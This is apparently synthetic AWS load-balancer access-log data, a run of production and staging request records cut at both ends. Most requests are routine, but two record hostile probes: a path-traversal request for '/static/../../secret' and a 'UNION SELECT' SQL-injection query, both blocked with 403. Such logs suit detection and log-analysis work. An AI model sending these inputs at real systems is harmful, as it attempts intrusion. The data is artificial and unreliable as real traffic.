"-" "136.139.60.43:8080" "200" "-" "-" +https 2024-11-01T01:21:55.944030Z prod-web-alb 80.200.3.151:16530 10.0.46.249:443 0.021749 0.361983 0.004523 200 200 409 1548 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cac3-fb29a4e4d65b49119bb5199a" "prod-web-alb.example.com" "-" 7 2024-11-01T01:21:55.944030Z "forward" "-" "-" "10.0.46.249:443" "200" "-" "-" +https 2024-11-01T01:21:56.513494Z prod-api-alb 12.130.89.130:58844 10.0.109.199:443 0.047316 0.341979 0.017904 302 302 999 299 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cac4-4bb17f3bfc894eea88a209c2" "-" "-" 1 2024-11-01T01:21:56.513494Z "forward" "-" "-" "10.0.109.199:443" "302" "-" "-" +https 2024-11-01T01:21:56.914138Z prod-api-alb 158.252.112.200:25039 10.0.236.69:443 0.095587 0.024251 0.087272 404 404 350 11849 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cac4-0fb849edbd3d492a8baaa973" "prod-api-alb.example.com" "-" 8 2024-11-01T01:21:56.914138Z "forward" "-" "-" "10.0.236.69:443" "404" "-" "-" +https 2024-11-01T01:21:58.470192Z prod-web-alb 194.168.104.108:57035 10.0.190.202:443 0.079688 0.325562 0.053264 200 200 138 800 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cac6-dacb867449ca46339ec4b411" "prod-web-alb.example.com" "-" 1 2024-11-01T01:21:58.470192Z "forward" "-" "-" "10.0.190.202:443" "200" "-" "-" +https 2024-11-01T01:21:59.994826Z prod-web-alb 237.189.220.113:49499 10.0.39.212:443 0.027574 0.394395 0.031561 200 200 554 6116 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cac7-088e8a5843384d268e5d518e" "prod-web-alb.example.com" "-" 8 2024-11-01T01:21:59.994826Z "forward" "-" "-" "10.0.39.212:443" "200" "-" "-" +https 2024-11-01T01:22:01.892079Z prod-api-alb 183.114.162.170:35767 10.0.109.219:443 0.060626 0.017522 0.034344 404 404 787 11736 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cac9-abe54667e448489ca5414c66" "prod-api-alb.example.com" "-" 5 2024-11-01T01:22:01.892079Z "forward" "-" "-" "10.0.109.219:443" "404" "-" "-" +https 2024-11-01T01:22:03.209603Z prod-api-alb 180.137.49.164:22305 10.0.96.53:443 0.033910 0.033575 0.048049 404 404 661 2134 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cacb-45ad99e123b94367a411e334" "prod-api-alb.example.com" "-" 0 2024-11-01T01:22:03.209603Z "forward" "-" "-" "10.0.96.53:443" "404" "-" "-" +https 2024-11-01T01:22:03.938412Z prod-api-alb 65.163.38.13:20322 10.0.59.211:443 0.010786 0.149833 0.056017 302 302 233 8799 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cacb-204d0f6ae63e44f588642b86" "prod-api-alb.example.com" "-" 6 2024-11-01T01:22:03.938412Z "forward" "-" "-" "10.0.59.211:443" "302" "-" "-" +https 2024-11-01T01:22:05.872746Z staging-alb 45.155.205.185:26894 192.243.96.95:80 0.090354 0.286424 0.127900 403 403 710 3161 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cacd-07e5dc5ef7f84ecd91e7c592" "-" "-" 9 2024-11-01T01:22:05.872746Z "forward" "-" "-" "192.243.96.95:80" "403" "-" "-" +https 2024-11-01T01:22:06.466608Z prod-api-alb 91.108.208.238:31691 10.0.115.197:443 0.030158 0.180217 0.090141 200 200 901 9579 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cace-e734d019db914842b9001473" "prod-api-alb.example.com" "-" 4 2024-11-01T01:22:06.466608Z "forward" "-" "-" "10.0.115.197:443" "200" "-" "-" +https 2024-11-01T01:22:07.245655Z prod-api-alb 117.59.247.110:47523 10.0.135.238:443 0.035092 0.393985 0.064581 301 301 607 10208 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cacf-f09901d2749c4592bd301fbd" "prod-api-alb.example.com" "-" 7 2024-11-01T01:22:07.245655Z "forward" "-" "-" "10.0.135.238:443" "301" "-" "-" +https 2024-11-01T01:22:08.051704Z staging-alb 92.241.71.107:22253 38.155.224.31:8080 0.097704 0.106570 0.003634 200 200 777 10164 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cad0-97b401c864dc4cb99f2c959d" "staging-alb.example.com" "-" 5 2024-11-01T01:22:08.051704Z "forward" "-" "-" "38.155.224.31:8080" "200" "-" "-" +https 2024-11-01T01:22:08.422626Z prod-web-alb 60.86.105.254:23536 10.0.23.154:443 0.075460 0.083223 0.083295 302 302 216 3417 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cad0-e184382bbf5d4892883e8972" "prod-web-alb.example.com" "-" 4 2024-11-01T01:22:08.422626Z "forward" "-" "-" "10.0.23.154:443" "302" "-" "-" +https 2024-11-01T01:22:09.175786Z prod-api-alb 24.112.116.41:52572 10.0.143.171:443 0.038775 0.082300 0.030424 200 200 563 11183 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cad1-3c9c34cb9213418b9224fb91" "prod-api-alb.example.com" "-" 3 2024-11-01T01:22:09.175786Z "forward" "-" "-" "10.0.143.171:443" "200" "-" "-" +http 2024-11-01T01:22:09.526791Z staging-alb 72.122.183.224:56248 168.30.152.88:443 0.118966 0.094287 0.004553 404 404 122 10366 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cad1-18887633a4714f15be44c107" "staging-alb.example.com" "-" 3 2024-11-01T01:22:09.526791Z "forward" "-" "-" "168.30.152.88:443" "404" "-" "-" +https 2024-11-01T01:22:09.765403Z prod-web-alb 190.120.244.83:27928 10.0.232.38:443 0.027504 0.359146 0.063416 200 200 224 6558 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cad1-6ef9521898594f07a0de2c6b" "prod-web-alb.example.com" "-" 1 2024-11-01T01:22:09.765403Z "forward" "-" "-" "10.0.232.38:443" "200" "-" "-" +https 2024-11-01T01:22:11.106176Z prod-web-alb 219.32.151.98:27372 10.0.181.244:443 0.084473 0.080648 0.052516 200 200 351 10991 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cad3-2327f69c2fe44b45973502c5" "prod-web-alb.example.com" "-" 10 2024-11-01T01:22:11.106176Z "forward" "-" "-" "10.0.181.244:443" "200" "-" "-" +https 2024-11-01T01:22:13.097231Z prod-api-alb 130.98.11.215:14435 10.0.163.12:443 0.049589 0.272614 0.047840 301 301 34 2043 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cad5-baa2ff1cb8054dbab4e23aaa" "prod-api-alb.example.com" "-" 1 2024-11-01T01:22:13.097231Z "forward" "-" "-" "10.0.163.12:443" "301" "-" "-" +https 2024-11-01T01:22:13.910362Z prod-api-alb 132.138.45.12:47955 10.0.46.121:443 0.057308 0.253383 0.041848 200 200 172 3620 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cad5-900a613e86a5494b8aea9bf4" "prod-api-alb.example.com" "-" 7 2024-11-01T01:22:13.910362Z "forward" "-" "-" "10.0.46.121:443" "200" "-" "-" +https 2024-11-01T01:22:15.548018Z prod-api-alb 8.189.218.239:53571 10.0.101.216:443 0.047766 0.143991 0.069753 200 200 545 8638 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cad7-b7bdea226bf54c049b9deaa3" "prod-api-alb.example.com" "-" 3 2024-11-01T01:22:15.548018Z "forward" "-" "-" "10.0.101.216:443" "200" "-" "-" +https 2024-11-01T01:22:15.700714Z prod-web-alb 10.254.222.247:22932 10.0.1.232:443 0.007082 0.109120 0.031835 200 200 617 14573 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cad7-f702e1af60c04893a940a598" "prod-web-alb.example.com" "-" 5 2024-11-01T01:22:15.700714Z "forward" "-" "-" "10.0.1.232:443" "200" "-" "-" +https 2024-11-01T01:22:16.335754Z prod-web-alb 13.247.170.156:64378 10.0.124.229:443 0.069824 0.089852 0.066424 200 200 4 12886 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cad8-f8fd4c14686e49a3a29365bb" "prod-web-alb.example.com" "-" 9 2024-11-01T01:22:16.335754Z "forward" "-" "-" "10.0.124.229:443" "200" "-" "-" +https 2024-11-01T01:22:17.474384Z prod-web-alb 52.44.38.128:39154 10.0.169.85:443 0.046541 0.284050 0.056916 302 302 124 1921 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cad9-d9fa18378772412e8c79595a" "prod-web-alb.example.com" "-" 10 2024-11-01T01:22:17.474384Z "forward" "-" "-" "10.0.169.85:443" "302" "-" "-" +https 2024-11-01T01:22:18.622143Z prod-api-alb 56.170.93.90:36030 10.0.206.13:443 0.002503 0.310715 0.085795 200 200 360 13083 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cada-41fbc66ec5e34bf696766deb" "prod-api-alb.example.com" "-" 9 2024-11-01T01:22:18.622143Z "forward" "-" "-" "10.0.206.13:443" "200" "-" "-" +https 2024-11-01T01:22:19.742055Z prod-web-alb 57.210.203.28:36185 10.0.117.168:443 0.009113 0.349976 0.048779 200 200 382 1633 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cadb-c4e7d0819c3044bb8e8c3bae" "prod-web-alb.example.com" "-" 1 2024-11-01T01:22:19.742055Z "forward" "-" "-" "10.0.117.168:443" "200" "-" "-" +https 2024-11-01T01:22:19.857558Z prod-api-alb 223.40.253.126:20220 10.0.19.117:443 0.026227 0.225504 0.024067 200 200 149 3564 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cadb-b7feec3851844f8a836ec636" "prod-api-alb.example.com" "-" 2 2024-11-01T01:22:19.857558Z "forward" "-" "-" "10.0.19.117:443" "200" "-" "-" +https 2024-11-01T01:22:21.056955Z prod-web-alb 26.237.255.141:20884 10.0.40.205:443 0.043416 0.064666 0.041684 404 404 974 10492 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cadd-b54c4999c7294c6686112302" "prod-web-alb.example.com" "-" 6 2024-11-01T01:22:21.056955Z "forward" "-" "-" "10.0.40.205:443" "404" "-" "-" +https 2024-11-01T01:22:22.813307Z prod-web-alb 30.49.21.192:18149 10.0.11.4:443 0.066030 0.394076 0.040408 200 200 882 6488 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cade-1ec164cda20148e3971eab70" "prod-web-alb.example.com" "-" 1 2024-11-01T01:22:22.813307Z "forward" "-" "-" "10.0.11.4:443" "200" "-" "-" +https 2024-11-01T01:22:23.389035Z prod-web-alb 185.181.147.41:26379 10.0.101.240:443 0.057144 0.207360 0.076880 403 403 746 6536 "GET /search?q=1' UNION SELECT HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cadf-a1df54cbe8ad493a9d8b973a" "-" "-" 6 2024-11-01T01:22:23.389035Z "forward" "-" "-" "10.0.101.240:443" "403" "-" "-" +https 2024-11-01T01:22:23.760311Z prod-web-alb 127.20.237.65:20190 10.0.178.161:443 0.079183 0.256749 0.023361 200 200 621 11563 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cadf-6d2800fa9a9f412392a5723e" "prod-web-alb.example.com" "-" 2 2024-11-01T01:22:23.760311Z "forward" "-" "-" "10.0.178.161:443" "200" "-" "-" +https 2024-11-01T01:22:24.034633Z prod-web-alb 48.34.65.152:57118 10.0.145.56:443 0.003207 0.347287 0.019166 404 404 127 11410 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cae0-007623302b2b426d970fc176" "prod-web-alb.example.com" "-" 5 2024-11-01T01:22:24.034633Z "forward" "-" "-" "10.0.145.56:443" "404" "-" "-" +https 2024-11-01T01:22:24.684171Z prod-web-alb 193.104.233.39:42679 10.0.185.208:443 0.042958 0.079263 0.009309 200 200 718 1209 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cae0-722baf304101434fa3d49f14" "prod-web-alb.example.com" "-" 4 2024-11-01T01:22:24.684171Z "forward" "-" "-" "10.0.185.208:443" "200" "-" "-" +https 2024-11-01T01:22:26.045634Z staging-alb 238.140.229.84:46734 87.209.67.0:8080 0.024764 0.200780 0.112302 200 200 402 7775 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cae2-f0177337290e42c9a48fd4a6" "staging-alb.example.com" "-" 9 2024-11-01T01:22:26.045634Z "forward" "-" "-" "87.209.67.0:8080" "200" "-" "-" +https 2024-11-01T01:22:28.034235Z prod-api-alb 16.92.80.221:28963 10.0.45.232:443 0.079986 0.188748 0.076283 200 200 8 14418 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cae4-40f467ebbcec4a0d90155593" "prod-api-alb.example.com" "-" 6 2024-11-01T01:22:28.034235Z "forward" "-" "-" "10.0.45.232:443" "200" "-" "-" +https 2024-11-01T01:22:28.582966Z staging-alb 196.97.238.39:18231 146.58.175.109:80 0.038441 0.549468 0.125842 200 200 601 917 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cae4-509a81bad77f46f79dcb75e0" "staging-alb.example.com" "-" 4 2024-11-01T01:22:28.582966Z "forward" "-" "-" "146.58.175.109:80" "200" "-" "-" +http 2024-11-01T01:22:29.498304Z staging-alb 18.127.7.158:10176 156.50.72.34:443 0.084861 0.354164 0.121312 200 200 751 12168 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cae5-e523648ff99d4c6aacbcef81" "staging-alb.example.com" "-" 7 2024-11-01T01:22:29.498304Z "forward" "-" "-" "156.50.72.34:443" "200" "-" "-" +https 2024-11-01T01:22:31.241306Z prod-web-alb 37.109.123.225:52226 10.0.90.29:443 0.032531 0.293586 0.087106 200 200 82 3047 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cae7-d13b3150a78e459293d918bb" "prod-web-alb.example.com" "-" 3 2024-11-01T01:22:31.241306Z "forward" "-" "-" "10.0.90.29:443" "200" "-" "-" +https 2024-11-01T01:22:32.945770Z staging-alb 37.244.162.173:39453 133.170.38.170:8080 0.125167 0.326995 0.121817 200 200 881 13648 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cae8-eff7a83b4d0149bcaa6fd2ae" "staging-alb.example.com" "-" 0 2024-11-01T01:22:32.945770Z "forward" "-" "-" "133.170.38.170:8080" "200" "-" "-" +https 2024-11-01T01:22:33.908671Z prod-api-alb 215.73.128.95:43419 10.0.140.244:443 0.000606 0.286183 0.020896 404 404 589 13677 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cae9-ddce01c8424241dd9cb4fe9b" "prod-api-alb.example.com" "-" 2 2024-11-01T01:22:33.908671Z "forward" "-" "-" "10.0.140.244:443" "404" "-" "-" +https 2024-11-01T01:22:34.483228Z prod-api-alb 97.253.46.96:22538 10.0.120.36:443 0.042047 0.418592 0.027443 301 301 506 13952 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723caea-546c082e51d34aa29ca61f0d" "prod-api-alb.example.com" "-" 5 2024-11-01T01:22:34.483228Z "forward" "-" "-" "10.0.120.36:443" "301" "-" "-" +https 2024-11-01T01:22:34.929994Z prod-web-alb 14.46.188.247:21340 10.0.101.74:443 0.016733 0.081409 0.082742 200 200 567 1661 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723caea-0a8bc0a7120543deb08d8c6a" "prod-web-alb.example.com" "-" 4 2024-11-01T01:22:34.929994Z "forward" "-" "-" "10.0.101.74:443" "200" "-" "-" +https 2024-11-01T01:22:36.165692Z prod-api-alb 184.14.40.18:53795 10.0.31.240:443 0.019506 0.385927 0.022179 200 200 162 6175 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723caec-69c3703120614164bb921511" "-" "-" 5 2024-11-01T01:22:36.165692Z "forward" "-" "-" "10.0.31.240:443" "200" "-" "-" +https 2024-11-01T01:22:37.782129Z prod-web-alb 215.181.200.32:59164 10.0.239.12:443 0.036577 0.100424 0.025325 200 200 328 7631 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723caed-fd5523a6f7544cd89713cad4" "prod-web-alb.example.com" "-" 1 2024-11-01T01:22:37.782129Z "forward" "-" "-" "10.0.239.12:443" "200" "-" "-" +https 2024-11-01T01:22:39.555023Z prod-api-alb 165.24.194.219:57103 10.0.159.233:443 0.028670 0.035905 0.076912 302 302 324 3362 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723caef-1d61e58d68a147a39953b645" "prod-api-alb.example.com" "-" 5 2024-11-01T01:22:39.555023Z "forward" "-" "-" "10.0.159.233:443" "302" "-" "-" +https 2024-11-01T01:22:40.146300Z staging-alb 46.57.81.145:59500 190.178.150.74:443 0.050098 0.600015 0.087403 301 301 455 9956 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723caf0-14a332bdb4b146dd9a39f3e2" "staging-alb.example.com" "-" 7 2024-11-01T01:22:40.146300Z "forward" "-" "-" "190.178.150.74:443" "301" "-" "-" +https 2024-11-01T01:22:40.722154Z prod-web-alb 231.29.134.208:52205 10.0.231.1:443 0.003704 0.403741 0.064304 302 302 858 8515 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caf0-38f500aad57a4b3c9d124dbb" "prod-web-alb.example.com" "-" 0 2024-11-01T01:22:40.722154Z "forward" "-" "-" "10.0.231.1:443" "302" "-" "-" +http 2024-11-01T01:22:40.923592Z staging-alb 63.109.224.134:19328 39.171.4.59:443 0.025521 0.422711 0.087517 302 302 654 10917 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723caf0-303799b01c4e47ee87b6ce26" "staging-alb.example.com" "-" 0 2024-11-01T01:22:40.923592Z "forward" "-" "-" "39.171.4.59:443" "302" "-" "-" +http 2024-11-01T01:22:41.653347Z staging-alb 111.108.139.134:29585 140.153.180.138:443 0.011343 0.147941 0.080726 302 302 375 6041 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 